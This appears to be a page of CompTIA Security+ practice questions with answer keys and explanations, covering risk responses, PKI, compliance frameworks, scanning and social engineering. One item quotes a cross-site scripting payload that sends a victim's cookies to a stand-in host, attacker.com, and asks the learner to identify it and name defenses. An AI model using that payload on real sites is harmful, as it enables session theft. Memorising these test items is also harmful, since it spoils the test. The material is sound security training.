All practice questions

2232 questions

Question 1821Question

An enterprise discovers that a specialized legacy API used for international currency conversion cannot be secured against recent protocol vulnerabilities. Because the revenue generated through this API is minimal compared to the potential liability of a security breach, the executive team decides to disable and remove the API entirely from production, halting all processing of those transactions. Which of the following risk response strategies did the organization implement?

Show answer & explanation

Answer: Risk avoidance

Answer

Risk avoidance
Risk avoidance involves taking proactive measures to eliminate exposure to a threat by entirely removing the underlying asset, vulnerable application, or business activity that generates the risk.

Step-by-Step Solution

1
Analyze the organizational decision described in the scenario.
The organization chose to disable and decommission the vulnerable API, completely ceasing the high-risk transaction activity.
Evaluating the specific action taken establishes whether the risk was altered, shared, tolerated, or eliminated.
2
Map the observed action to official risk management response definitions.
Discontinuing a business process or eliminating the asset that introduces the exposure constitutes Risk Avoidance.
Risk avoidance is defined as completely removing the vulnerability vector or terminating the activity causing the risk.

Key Concept

Risk Response Strategies (Avoidance vs. Mitigation vs. Transference vs. Acceptance)
Question 1822Question

An enterprise security policy requires software developers to digitally sign compiled binaries using a dedicated Hardware Security Module (HSM) USB token. Which of the following represents the correct sequential order of steps required to obtain and prepare the code signing certificate on the hardware token, from first to last?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence begins with generating the asymmetric key pair on the HSM token, followed by generating the Certificate Signing Request (CSR), submitting the CSR to the Certificate Authority (CA) for signing, and finally importing the signed certificate onto the HSM token to bind it with the stored private key.
The standard PKI enrollment workflow follows a logical sequence. First, the asymmetric key pair must be generated directly on the target device (HSM) so the private key remains secure. Second, a CSR is built using the generated public key and subject metadata. Third, the CSR is submitted to the CA for verification and digital signature issuance. Finally, the resulting signed certificate is installed back onto the HSM to bind with the private key.

Step-by-Step Solution

1
Generate the asymmetric key pair inside the secure boundary of the HSM USB token.
A public key is exposed for request generation, while the private key is retained in non-exportable hardware storage.
For high-assurance security like code signing, private key generation must occur locally on the cryptoprocessor to prevent key exposure.
2
Construct a Certificate Signing Request (CSR) incorporating the public key and organizational subject attributes.
A standardized PKCS#10 CSR file is created.
The Certificate Authority requires a formal CSR containing the public key and identity data to construct the certificate.
3
Submit the CSR to the internal or commercial Certificate Authority (CA).
The CA validates the identity, signs the public key using its private key, and issues an X.509 certificate.
The CA serves as the trusted third party that validates the identity and digitally signs the certificate.
4
Import the issued X.509 certificate back into the HSM token container.
The certificate is bound to the matching private key stored on the hardware token.
Binding the signed public certificate with the private key on the HSM completes the PKI enrollment lifecycle and enables signing tools to operate.

Key Concept

Public Key Infrastructure (PKI) Certificate Signing Request (CSR) and Hardware-Based Key Lifecycle
Question 1823Question

Match each regulatory compliance framework or legal mandate on the left with its primary data governance scope and organizational requirement on the right.

Click a left item, then click its matching right item

Items

Sarbanes-Oxley Act (SOX)
Health Insurance Portability and Accountability Act (HIPAA)
Payment Card Industry Data Security Standard (PCI-DSS)
General Data Protection Regulation (GDPR)

Matches

Show answer & explanation

Answer

Sarbanes-Oxley Act (SOX) matches internal financial and accounting controls; HIPAA matches administrative, physical, and technical safeguards for ePHI; PCI-DSS matches operational security controls for processing cardholder data (CHD); GDPR matches data privacy rights and regulations concerning the processing of personal data.
Each mandate addresses distinct legal and regulatory objectives: SOX ensures financial statement integrity; HIPAA secures protected health information (ePHI); PCI-DSS safeguards credit card numbers and authentication data (CHD); GDPR safeguards individual data privacy rights across the European Union.

Step-by-Step Solution

1
Identify the primary domain governed by Sarbanes-Oxley Act (SOX).
SOX focuses on corporate accounting and financial reporting transparency.
SOX was passed to safeguard investors from corporate financial fraud.
2
Identify the protected data class for HIPAA.
HIPAA protects Electronic Protected Health Information (ePHI).
HIPAA mandates specific security controls for healthcare organizations and business associates handling health records.
3
Determine the governing scope of PCI-DSS.
PCI-DSS governs credit card holder data (CHD).
It is a private industry standard enforced by credit card brands to secure merchant processing environments.
4
Map GDPR to its data governance framework.
GDPR protects personal data privacy rights for individuals within the EU.
GDPR establishes explicit requirements such as data minimization, consent, rights to erasure, and breach notification obligations.

Key Concept

Regulatory Compliance and Legal Requirements Management
Question 1824Question

Following an enterprise-wide remediation effort to patch critical remote code execution vulnerabilities across multiple database servers, a security analyst must confirm that all identified flaws have been successfully resolved. To complete this verification efficiently without causing unnecessary network overhead or waiting for a complete multi-subnet scan cycle, which of the following scanning approaches should the analyst execute?

Show answer & explanation

Answer: Execute a targeted differential scan scoped specifically to the previously affected assets and CVE identifiers.

Answer

Execute a targeted differential scan scoped specifically to the previously affected assets and CVE identifiers.
Executing a targeted differential scan (also known as a remediation scan) allows security analysts to re-assess only the specific hosts and vulnerabilities identified in prior reports. This approach directly validates patch deployment success while minimizing scan duration and network resource consumption.

Step-by-Step Solution

1
Identify the primary goal of the security assessment task
The goal is to verify that previously reported vulnerabilities were successfully patched on specific servers.
Post-remediation verification requires auditing the state of known software flaws.
2
Evaluate operational constraints
The assessment must minimize network overhead and complete rapidly without initiating a full discovery sweep.
Running a complete enterprise vulnerability scan consumes significant network bandwidth and unnecessary processing time on unpatched systems.
3
Select the appropriate vulnerability scan configuration type
A targeted differential (or remediation) vulnerability scan focuses exclusively on previously flagged hosts and specific CVEs.
Differential scanning validates patch effectiveness quickly and efficiently without re-scanning unchanged assets.

Key Concept

Remediation and Differential Vulnerability Scanning
Question 1825Question

During a routine security monitoring shift, a Security Operations Center (SOC) analyst reviews an event logged by an out-of-band Network Intrusion Detection System (NIDS). The NIDS alert triggers on inbound HTTP GET traffic directed at a customer portal web server containing the payload string `?user=<script>window.location='http://attacker.com/steal.php?c='+document.cookie</script>`. A junior team member claims the log depicts database manipulation and recommends modifying SQL database queries. Which of the following best evaluates the NIDS alert and identifies the most appropriate remediation strategy?

Show answer & explanation

Answer: The alert indicates a Cross-Site Scripting (XSS) attack attempting to harvest session credentials; developers should implement input validation and context-aware output encoding on the application.

Answer

The alert indicates a Cross-Site Scripting (XSS) attack attempting to harvest session credentials; developers should implement input validation and context-aware output encoding on the application.
The captured payload features client-side JavaScript (`<script>` tags attempting to transmit `document.cookie` data), which is characteristic of a Cross-Site Scripting (XSS) attack. The effective countermeasure for XSS vulnerabilities involves enforcing strict input validation and context-aware output encoding at the web application layer.

Step-by-Step Solution

1
Analyze the log payload captured by the NIDS
The payload string `?user=<script>...</script>` contains executable client-side JavaScript referencing `document.cookie`.
Identifying payload syntax distinguishes client-side scripting attacks from database or operating system command injections.
2
Classify the security threat
The attack pattern matches Cross-Site Scripting (XSS), which targets application users rather than the backend database engine.
Script tags and DOM access properties like `document.cookie` are signatures of XSS attacks.
3
Select the proper control and remediation action
Implement proper input validation, context-aware output encoding, and Secure/HTTPOnly cookie flags on the web application.
Application-level encoding prevents client browsers from interpreting untrusted user input as executable script code.

Key Concept

Identifying Cross-Site Scripting (XSS) payloads in network security monitoring alerts and selecting appropriate application-layer mitigations.
Question 1826Question

Match each data privacy and protection technique on the left with its corresponding operational implementation on the right.

Click a left item, then click its matching right item

Items

Tokenization
Data Masking
Anonymization
Hashing

Matches

Show answer & explanation

Answer

Tokenization pairs with replacing data with non-sensitive surrogates in a vault; Data Masking pairs with concealing specific fields or characters; Anonymization pairs with irreversibly removing identification capabilities; Hashing pairs with converting text into a fixed-length string via a one-way function.
Each data control accurately aligns with its standard industry definition: Tokenization uses surrogate values backed by a vault, Data Masking restricts visible characters, Anonymization permanently removes PII linking capabilities, and Hashing uses a one-way mathematical function.

Step-by-Step Solution

1
Analyze the definition of Tokenization.
Identified that tokenization relies on surrogate tokens and a mapping vault.
Tokenization replaces sensitive data with non-sensitive placeholders without using encryption keys on the target data.
2
Analyze the definition of Data Masking.
Identified that data masking hides specific characters in output or views.
Masking obscures portions of sensitive fields to prevent unauthorized viewing while maintaining data layout.
3
Analyze the definition of Anonymization.
Identified that anonymization removes identification irreversibly.
Anonymization prevents data re-identification under regulatory standards like GDPR.
4
Analyze the definition of Hashing.
Identified that hashing creates a fixed-length string through a one-way function.
Hashing is a deterministic, non-reversible cryptographic operation used primarily for integrity verification.

Key Concept

Data Protection Techniques and Privacy Enhancing Technologies
Question 1827Question

An enterprise deploys host-based agent software on all employee workstations to continuously monitor volatile memory for anomalous activity and automatically generate alerts for the security operations center upon identifying suspicious API calls. According to CompTIA Security+, which control category and functional type combination does this host-based monitoring software represent?

Show answer & explanation

Answer: Technical category and Detective functional type

Answer

The host-based monitoring software represents a Technical control category and a Detective functional type.
The correct response identifies the host-based software agent as a Technical control because it relies on software logic operating on the system. Furthermore, its function of continuously observing memory behaviors and emitting alerts classifies it as a Detective control type designed to discover security threats.

Step-by-Step Solution

1
Determine the security control category.
Because the mechanism is an automated software agent executing on host hardware to analyze system memory, it falls under the Technical (Logical) category.
Technical controls are implemented through software, hardware, or firmware logic.
2
Determine the functional control type.
Because the software monitors for anomalous events and raises alerts for analyst inspection without modifying system configuration or restoring files, its function is Detective.
Detective controls identify and signal malicious activity or policy violations during or after execution.

Key Concept

Security Control Categories and Types
Estimated Time:1m 0s
Question 1828Question

A systems administrator needs to request and deploy a new SSL/TLS certificate for an enterprise web application using an internal Certificate Authority (CA). Arrange the steps of the certificate enrollment and deployment process in the correct chronological order from first to last.

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct chronological sequence for certificate enrollment and deployment is: 1) Generate the public/private key pair locally on the web server, 2) Create the Certificate Signing Request (CSR), 3) Submit the CSR to the internal Certificate Authority, 4) The Certificate Authority signs the request and issues the X.509 certificate, and 5) Install the certificate and intermediate chain on the web server and bind it to port 443.
The PKI enrollment lifecycle follows a logical progression starting with local key generation to ensure private key protection. The public key is then packaged into a CSR containing subject parameters and sent to a CA. The CA validates the identity, signs the request using its private key, and returns an X.509 certificate. Finally, the certificate and intermediate trust chain are installed and bound to the server's web service.

Step-by-Step Solution

1
Generate asymmetric keys locally on the endpoint host
The private key stays securely on the server while the public key is made available for certification.
Generating keys locally prevents private key exposure during transmission across network channels.
2
Build the Certificate Signing Request (CSR)
A CSR file is generated containing the public key and server identification details.
The CSR serves as the standardized input needed by a CA to construct a signed public key certificate.
3
Transmit the CSR to the Certificate Authority
The CA receives the CSR and verifies domain control and identity credentials.
The CA requires formal submission of the request before performing verification checks.
4
CA signs and issues the X.509 certificate
A signed X.509 digital certificate is created using the CA's private key.
Digital signing creates a trusted relationship between the server's public key and the CA's root of trust.
5
Import certificate and bind to web service
The web server presents the valid certificate during TLS client negotiation.
Binding the certificate to port 443 completes deployment, allowing browsers to establish trust.

Key Concept

PKI Certificate Request, Issuance, and Deployment Lifecycle
Question 1829Question

An IT administrator receives an unverified request for sensitive internal network topology diagrams. When the administrator hesitates to comply, the requester claims that three senior network engineers in the department have already submitted their respective section diagrams for the ongoing audit. Reassured that colleagues have already complied, the administrator releases the requested files. Which of the following principles of influence did the attacker primarily exploit?

Show answer & explanation

Answer: Consensus

Answer

Consensus
Consensus (or social proof) occurs when an attacker persuades a target to take an action by demonstrating or claiming that others—specifically peers or coworkers—have already done so. In this scenario, stating that senior engineers in the same department had already provided their diagrams led the target to believe compliance was standard and safe.

Step-by-Step Solution

1
Analyze the attacker's psychological trigger described in the scenario.
The attacker persuaded the victim by stating that three peer engineers had already submitted their portion of the requested data.
Identifying the narrative device used to gain trust and compliance.
2
Map the observed psychological trigger to standard social engineering principles of influence.
Demonstrating that peers or equals have already complied defines the Consensus (or Social Proof) principle.
Matching attacker tactics against established social engineering frameworks.
3
Differentiate Consensus from related principles such as Authority, Urgency, or Intimidation.
Unlike Authority (which relies on rank) or Urgency (which relies on time pressure), Consensus relies on perceived peer validation.
Confirming the single best answer based on specific scenario details.

Key Concept

Principles of Influence - Consensus (Social Proof)
Question 1830Question

A defense contracting firm is deploying a cloud-based information system to store and process Controlled Unclassified Information (CUI) for federal procurement projects. To fulfill federal regulatory requirements for safeguarding CUI residing in non-federal systems, which compliance framework must the firm implement?

Show answer & explanation

Answer: NIST SP 800-171 standards for protecting Controlled Unclassified Information in non-federal systems

Answer

Implementing NIST SP 800-171 standards specifically addresses the security requirements for protecting Controlled Unclassified Information (CUI) stored or processed in non-federal environments.
NIST SP 800-171 provides the specified security controls for protecting the confidentiality of Controlled Unclassified Information (CUI) when held by non-federal entities, such as government contractors and subcontractors.

Step-by-Step Solution

1
Identify the data classification and organizational context.
The scenario involves Controlled Unclassified Information (CUI) handled by a non-federal defense contractor.
Federal regulations mandate specific frameworks depending on data classification and entity type.
2
Match the compliance framework governing CUI in non-federal systems.
NIST Special Publication 800-171 is explicitly designed to safeguard CUI in non-federal information systems and organizations.
Federal defense procurement regulations (such as DFARS) require contractors to implement NIST SP 800-171 controls.

Key Concept

Federal and Regulatory Compliance Frameworks for Information Safeguarding
Question 1831Question

Match each vulnerability assessment methodology with its corresponding operational characteristic or execution behavior.

Click a left item, then click its matching right item

Items

Credentialed Vulnerability Scan
Non-Credentialed Vulnerability Scan
Passive Vulnerability Assessment
Intrusive Vulnerability Assessment

Matches

Show answer & explanation

Answer

Credentialed Vulnerability Scan pairs with administrative privilege inspection; Non-Credentialed Vulnerability Scan pairs with unauthenticated network probing; Passive Vulnerability Assessment pairs with continuous packet monitoring without probe generation; Intrusive Vulnerability Assessment pairs with exploitation payloads that risk service interruption.
Each vulnerability scanning methodology is accurately paired with its core operational mechanics: credentialed scans use privileged access for deep internal host inspection, non-credentialed scans evaluate external attack surface exposure, passive assessments listen silently to packet streams, and intrusive assessments run exploit vectors that carry risk of service disruption.

Step-by-Step Solution

1
Analyze access level requirements for host-level visibility vs. boundary exposure.
Identified that credentialed scans require administrative accounts for internal inspection, while non-credentialed scans inspect external exposure without logons.
Vulnerability scanners operate differently depending on whether authentication tokens are provided.
2
Distinguish between active probing methods and silent traffic observation.
Matched passive vulnerability assessment to network packet monitoring because passive techniques generate zero synthetic traffic probes.
Passive monitoring is critical for sensitive operational technology environments where active probes might crash endpoints.
3
Evaluate potential system operational impact during assessment activities.
Matched intrusive vulnerability assessment to exploitation attempt behaviors that carry downtime risks.
Intrusive scans test actual exploit paths rather than simply checking banner signatures, creating potential instability.

Key Concept

Vulnerability Assessment Methodologies and Scanner Configurations
Question 1832Question

An organization observes significant latency during TLS handshakes because client browsers independently query an external Certificate Authority (CA) to check revocation status. Additionally, the privacy team raises concerns that direct client queries allow the CA to monitor user browsing activity. Which of the following features should the security administrator configure on the web server to reduce latency and address the privacy concern?

Show answer & explanation

Answer: Enable OCSP stapling on the web server so it periodically fetches signed status responses and appends them to the TLS handshake.

Answer

Enable OCSP stapling on the web server so it periodically fetches signed status responses and appends them to the TLS handshake.
Online Certificate Status Protocol (OCSP) stapling allows the web server to query the CA's OCSP responder at regular intervals, cache the time-stamped signed response, and staple it directly to the TLS handshake. This eliminates client-side round-trip delays and prevents the CA from tracking client IP addresses.

Step-by-Step Solution

1
Analyze performance and privacy constraints in certificate status checking
Identified direct client-to-CA OCSP queries as the root cause of latency and IP tracking concerns.
Client-initiated OCSP checks introduce additional round-trip times and expose user browsing destinations to the CA.
2
Evaluate PKI revocation optimization techniques
Selected OCSP stapling as the solution that shifts responder querying to the web server.
The server retrieves a signed, time-stamped OCSP response in advance and attaches (staples) it to the initial TLS handshake.
3
Confirm resolution of requirements
Verified that clients no longer contact the CA directly, eliminating extra latency and protecting client IP privacy.
Clients receive validated revocation status directly from the server during handshake setup.

Key Concept

Online Certificate Status Protocol (OCSP) Stapling
Question 1833Question

An autonomous vehicle fleet management enterprise is restructuring its security management oversight framework following an external compliance review. Match each security governance document type on the left with its corresponding organizational function and enforcement authority on the right.

Click a left item, then click its matching right item

Items

Acceptable Use Policy
Technical Security Standard
System Security Baseline
Operational Security Guideline

Matches

Show answer & explanation

Answer

Acceptable Use Policy matches mandatory high-level administrative directive defining legal boundaries for using assets; Technical Security Standard matches mandatory requirement specifying uniform technology selections and protocols; System Security Baseline matches mandatory minimum hardened configuration build required prior to production deployment; Operational Security Guideline matches discretionary recommendations providing flexibility.
Each item correctly aligns with its precise position in the governance documentation hierarchy: policies set compulsory behavioral rules, standards dictate uniform technical controls, baselines set mandatory minimum deployment configurations, and guidelines provide non-mandatory advice.

Step-by-Step Solution

1
Evaluate the administrative weight and audience of high-level policy documentation.
Identify Acceptable Use Policies as mandatory organizational directives focused on user behavior and asset usage.
Policies sit at the top of the governance hierarchy and establish enforceable behavioral boundaries.
2
Differentiate between enterprise-wide technical rules and platform-specific initial configurations.
Categorize Technical Security Standards as compulsory technology specifications and System Security Baselines as minimum hardened deployment builds.
Standards specify mandated technologies or protocols, whereas baselines define the mandatory starting security state for individual operating platforms.
3
Distinguish mandatory compliance artifacts from advisory documentation.
Associate Operational Security Guidelines with discretionary advice.
Guidelines differ from policies, standards, and baselines because they are not compulsory and permit operational discretion.

Key Concept

Security Governance Documentation Hierarchy
Question 1834Question

A fintech enterprise developing a cloud-native payment gateway is undergoing a third-party risk assessment by a prospective banking partner. The partner demands verified proof that security, confidentiality, and availability controls were not only properly designed but also maintained operational effectiveness throughout the preceding nine months. Which attestation report should the fintech enterprise provide to satisfy this requirement?

Show answer & explanation

Answer: SOC 2 Type II report

Answer

SOC 2 Type II report
A SOC 2 Type II report evaluates whether specified controls were designed appropriately and operated effectively over an extended period (typically 6 to 12 months) based on the AICPA Trust Services Criteria (security, availability, confidentiality, processing integrity, and privacy).

Step-by-Step Solution

1
Identify the focus criteria of the audit requirement.
The requirement specifies security, confidentiality, and availability, which fall under the AICPA Trust Services Criteria (SOC 2), not financial reporting (SOC 1).
Matching the assessment scope to the correct report family ensures the audit covers the required technical domains.
2
Determine the time horizon and testing requirement.
The requirement demands proof of operational effectiveness over a nine-month period, which requires a Type II report.
Type I reports cover a single point in time, whereas Type II reports evaluate control execution across a defined monitoring period.
3
Select the report type matching both criteria.
A SOC 2 Type II report provides detailed auditor testing results for operational effectiveness over time for Trust Services Criteria.
This report fulfills both the technical domain and the temporal duration requirements set by the banking partner.

Key Concept

SOC Report Types and Attestation Scopes
Question 1835Question

A logistics company is conducting a quantitative risk assessment for its primary fleet telemetry server. The server has an estimated Asset Value (AVAV) of 600,000.ThreatintelligencedataindicatesanAnnualRateofOccurrence(600,000. Threat intelligence data indicates an Annual Rate of Occurrence ( ARO )of0.20foramajordatacorruptionincident.IftheorganizationcalculatestheAnnualLossExpectancy() of 0.20 for a major data corruption incident. If the organization calculates the Annual Loss Expectancy ( ALE )tobe) to be 90,000, what is the Exposure Factor (EFEF) for this security risk?

Show answer & explanation

Answer: 0.75

Answer

The Exposure Factor (EFEF) associated with this risk is 0.75 (75%).
The correct response demonstrates proper quantitative risk analysis by deriving the Exposure Factor (EFEF) through two standard steps: calculating SLE=ALEARO=$90,0000.20=$450,000SLE = \frac{ALE}{ARO} = \frac{\$90,000}{0.20} = \$450,000, and then calculating EF=SLEAV=$450,000$600,000=0.75EF = \frac{SLE}{AV} = \frac{\$450,000}{\$600,000} = 0.75 (or 75%).

Step-by-Step Solution

1
Calculate Single Loss Expectancy (SLE)
SLE=ALEARO=$90,0000.20=$450,000SLE = \frac{ALE}{ARO} = \frac{\$90,000}{0.20} = \$450,000
Annual Loss Expectancy is defined as ALE=SLE×AROALE = SLE \times ARO. Rearranging terms yields SLE=ALEAROSLE = \frac{ALE}{ARO}.
2
Calculate Exposure Factor (EF)
EF=SLEAV=$450,000$600,000=0.75EF = \frac{SLE}{AV} = \frac{\$450,000}{\$600,000} = 0.75
Single Loss Expectancy is defined as SLE=AV×EFSLE = AV \times EF. Rearranging terms yields EF=SLEAVEF = \frac{SLE}{AV}.

Key Concept

Quantitative Risk Assessment Variables (ALE=SLE×AROALE = SLE \times ARO and SLE=AV×EFSLE = AV \times EF)
Estimated Time:1m 30s
Question 1836Question

A security administrator is optimizing the Public Key Infrastructure (PKI) architecture for an enterprise web portal that hosts services across multiple distinct domain names. The administrator must eliminate client-side OCSP lookup delays during TLS handshakes and consolidate multi-domain identity validation into a single digital certificate. Which of the following PKI mechanisms should the administrator implement to meet these objectives? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Enable OCSP stapling on the web servers to deliver a cached, signed revocation status response directly during the TLS handshake.; Include Subject Alternative Name (SAN) extension entries in the Certificate Signing Request to secure multiple distinct domain names under one certificate.

Answer

The correct options are enabling OCSP stapling on the web servers and using the Subject Alternative Name (SAN) extension in the Certificate Signing Request.
Enabling OCSP stapling shifts the burden of fetching certificate status from the client to the server, which caches a signed status response from the CA and staple it to the TLS handshake, reducing latency. Utilizing Subject Alternative Name (SAN) extensions allows an organization to secure multiple different domains and hostnames with a single certificate.

Step-by-Step Solution

1
Identify the mechanism that resolves client-side OCSP lookup delays during TLS handshakes.
OCSP stapling allows the web server to cache the CA's signed revocation response and present it to the client during the TLS handshake, eliminating extra client queries.
This offloads latency and protects client browsing privacy.
2
Identify the certificate extension designed for supporting multiple distinct fully qualified domain names (FQDNs).
The Subject Alternative Name (SAN) extension allows a single X.509 certificate to specify multiple hostnames and domain names.
This fulfills the requirement to consolidate multi-domain identity coverage into one certificate.

Key Concept

Public Key Infrastructure (PKI) Certificate Extensions and Revocation Protocols
Question 1837Question

A security analyst receives a high-severity alert from an inline Network Intrusion Prevention System (NIPS) indicating potential encrypted command-and-control (C2) beaconing originating from an internal endpoint to an untrusted external IP address. In what sequence should the analyst execute the network security monitoring and initial containment workflow?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct response workflow begins with alert correlation in the SIEM, followed by isolating the endpoint, querying NetFlow and packet captures to quantify damage, implementing perimeter blocks, and finally conducting host forensic remediation.
The workflow follows standard incident response procedures: validation (verifying SIEM/NIPS alert), containment (host network isolation), investigation/scoping (NetFlow/PCAP analysis), enterprise protection (perimeter block/sinkholing), and eradication/remediation (host forensics).

Step-by-Step Solution

1
Validate the NIPS alert against SIEM log aggregations.
Confirms the alert is a true positive C2 beaconing attempt.
Prevents unnecessary containment procedures caused by false-positive alerts.
2
Isolate the compromised internal endpoint from the network.
Halts active C2 communication and blocks lateral movement within the network.
Immediate containment is required once a true positive C2 connection is confirmed.
3
Inspect historic NetFlow records and PCAP data.
Establishes a timeline of network activity and measures exfiltration metrics.
Deep monitoring telemetry analysis reveals the extent of compromised data.
4
Deploy perimeter block rules and DNS sinkholes for the malicious external indicators.
Protects the broader organization from connecting to the C2 infrastructure.
Defends remaining assets while investigation continues.
5
Execute detailed host-based forensic analysis and malware remediation.
Removes the root cause process and restores the system to a clean state.
Ensures complete eradication of the threat before returning the asset to service.

Key Concept

Incident Response Triage and Containment Workflow in Network Security Monitoring
Question 1838Question

A software developer is building an internal customer portal. To safeguard sensitive payment details, the portal must visually hide all but the last four digits of a user's credit card number when viewed by support staff, while keeping the original stored data intact for transaction processing. Which of the following control techniques best achieves this requirement?

Show answer & explanation

Answer: Data masking

Answer

Data masking
Data masking is a privacy control that replaces or redacts sensitive data elements when rendered on screen, while preserving the full, original dataset in secure storage for processing.

Step-by-Step Solution

1
Identify the primary operational requirement.
The requirement is to visually conceal sensitive account numbers on screen while leaving the underlying database records intact.
Customer support representatives only need to verify card identity without seeing full sensitive numbers.
2
Evaluate data protection controls.
Data masking redacts or replaces characters (e.g., showing ** ** 1234) for display purposes without altering stored data.
This technique provides effective privacy protection against shoulder surfing or unnecessary data exposure during support interactions.

Key Concept

Data Masking and Privacy Obfuscation
Question 1839Question

Match each social engineering attack vector on the left to the real-world enterprise incident scenario on the right that best illustrates it.

Click a left item, then click its matching right item

Items

Watering Hole Attack
Typosquatting
Vishing
Tailgating

Matches

Show answer & explanation

Answer

Watering Hole Attack matches the compromise of a frequently visited industry news portal; Typosquatting matches registering visually similar domain names; Vishing matches placing fraudulent phone calls to accounting personnel; Tailgating matches entering restricted facilities by following authorized employees closely.
Watering hole attacks target specific websites frequented by an intended victim demographic; typosquatting leverages domain name misspellings; vishing relies on voice phone calls for deception; and tailgating exploits physical proximity to enter secure areas without credentials.

Step-by-Step Solution

1
Identify the primary mechanism of each social engineering attack vector listed.
Watering hole focuses on group web targeting, typosquatting relies on mistyped URLs, vishing uses voice telephone calls, and tailgating relies on unauthorized physical following.
Understanding the core transport vector (web, network domain, telephony, or physical access) distinguishes each attack type.
2
Map each concept to the scenario containing matching technical or physical indicators.
Mapped industry portal compromise to watering hole, fake login URL to typosquatting, executive phone call to vishing, and unbadged entry to tailgating.
Evaluating specific indicators in each scenario ensures precise alignment with the threat definition.

Key Concept

Social Engineering Attacks and Vectors
Estimated Time:1m 30s
Question 1840Question

An organization is updating its enterprise risk management framework and classifying its existing defense mechanisms according to CompTIA Security+ control categories. The Chief Information Security Officer (CISO) requests an inventory of all Managerial (Administrative) controls currently implemented across the company. Which of the following defense mechanisms qualify as Managerial controls? (Select TWO.)

Select all that apply

Show answer & explanation

Answer: Performing annual third-party vendor risk assessments to evaluate supply chain security risks; Establishing an enterprise-wide Acceptable Use Policy (AUP) approved by executive management

Answer

Performing annual third-party vendor risk assessments and establishing an enterprise-wide Acceptable Use Policy (AUP) are both Managerial controls.
Both vendor risk assessments and acceptable use policies focus on governance, administrative oversight, and risk strategy. Under CompTIA Security+, controls designed around management decisions, policies, and risk assessments are categorized as Managerial (Administrative) controls.

Step-by-Step Solution

1
Analyze the definition of Managerial controls under CompTIA Security+.
Managerial (Administrative) controls focus on security governance, risk assessment, policies, oversight, and strategic guidelines.
Control categorization depends on how the control is designed and managed within the organizational governance framework.
2
Evaluate each option against the Managerial category criteria.
Third-party risk assessments evaluate organizational risk (Managerial). Acceptable Use Policies set governance rules (Managerial). Firewalls rely on technological mechanisms (Technical). Security guard patrols rely on operational human workflows (Operational).
Differentiating control categories ensures proper assignment of security responsibility and compliance reporting.

Key Concept

Security Control Categories (Managerial / Administrative Controls)
Estimated Time:1m 15s
PreviousPage 92 / 112Next
All practice questions — CompTIA Security+ | Examkin